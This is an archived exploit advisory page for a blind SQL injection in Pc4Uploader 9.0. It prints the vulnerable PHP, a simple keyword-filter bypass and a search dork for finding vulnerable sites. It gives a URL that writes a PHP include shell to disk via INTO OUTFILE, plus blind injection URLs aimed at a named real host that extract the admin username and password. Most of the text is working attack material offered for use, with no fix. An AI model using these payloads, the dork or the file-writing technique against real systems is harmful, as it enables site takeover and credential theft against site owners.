what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pc4Uploader 9.0 Blind SQL Injection

Pc4Uploader 9.0 Blind SQL Injection
Posted May 19, 2009
Authored by Qabandi

Pc4Uploader version 9.0 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 7be00aa2fb0eec64f7d01e08862fd1bf4848b03c4f75f70c79ca0f9995d72017

Pc4Uploader 9.0 Blind SQL Injection

Change Mirror Download
                  ||          ||   | ||        
o_,_7 _|| . _o_7 _|| q_|_|| o_w_,
( : / (_) / ( .


=By: Qabandi
=Email: iqa[a]hotmail.fr

From Kuwait PEACE

=Vuln: pc4arb - pc4 Uploader <= 9.0 Blind SQL injection
=INFO: http://pc4arb.com/product-13.html
=BUY: http://pc4arb.com/deal-13.html
=DORK: intext:"Powered by Pc4Uploader v9.0"


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Filter-Bypass@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
----------Vulnerable code@ "./code.php"----------------------------------------
function filter_sql( $inputsql )
{
$regsql = "(delete)|(update)|(union)|(insert)";
return eregi_replace( $regsql, "", $inputsql );
}
------------------END----------------------------------------------------------
-=-===--=-=-==-=-==-=-=-=-=-=-=-=-POC-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
$Q = "UNIunionON";
filter_sql($Q);
echo $Q;

--
Result = UNION

We can use this to upload a file, using the "dumpfile" and "outfile" Mysql functions.

POC:-

conditions: magic_quotes_gpc = off // 0777 chmoded folder // location of folder.

To get location in server, we can generate an error using the STYLE cookie handler, to do this we need to set tempst=qabandi.

javascript:document.cookie="tempst=qabandi";

Refresh,

you will get the following:

Warning: file(templates/Qabandi/main_block.html) [function.file]: failed to open stream: No such file or directory in /home/XXXXXXX/public_html/function.php on line 33

now we have the location in server, "/home/XXXXXXX/public_html/"

"/home/XXXXXXX/public_html/upfiles/" <--- 99% of the time its chmoded 0777.

now the exploit:

http://localhost/pc4up/code.php?load=banner&id=-1 UNunionION select 1,2,3,'<? include($Q);?>',5,6,7,8,9 into outfile '/home/XXXXXXX/public_html/upfiles/qabandi.php'


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-BLIND SQL@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
----------Vulnerable code@ "./code.php"-----------------------------------------

if ( $_GET['load'] == "banner" )
{
$idx = $_GET['id'];
$idx = strip_tags( $idx );
$idx = filter_sql( $idx );/// <------ SIMPLY bypassed by using "unUNIONion" ;)
if ( !( $query_banner = mysql_query( "SELECT * FROM banners WHERE id={$idx}" ) ) )
{
exit( "Query failed" );
}
$x = mysql_fetch_row( $query_banner );
$url = $x[2];
$visits = $x[5];
if ( !( $query = mysql_query( "UPDATE banners SET visits=visits+1 WHERE id ={$idx}" ) ) )
{
exit( "Query failed" );
}
header( "Location: {$url}" );
}


--------------:PoC:-------------
conditions: admin must have added a banner using the "add banner" feature. the banner ID must be valid.


Blind SQL DEMO:-
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=4 <-- TRUE! (MySQL version 4)


http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=5 <-- BLANK


To get info:

http://upload.traidnt.net/code.php?load=banner&id=1 and ascii(substring((SELECT concat(username,char(62),password) from admin limit 0,1),1,1))>95


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-=LA tsta3mloha 3la elmowaqi3 el islamiya=-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close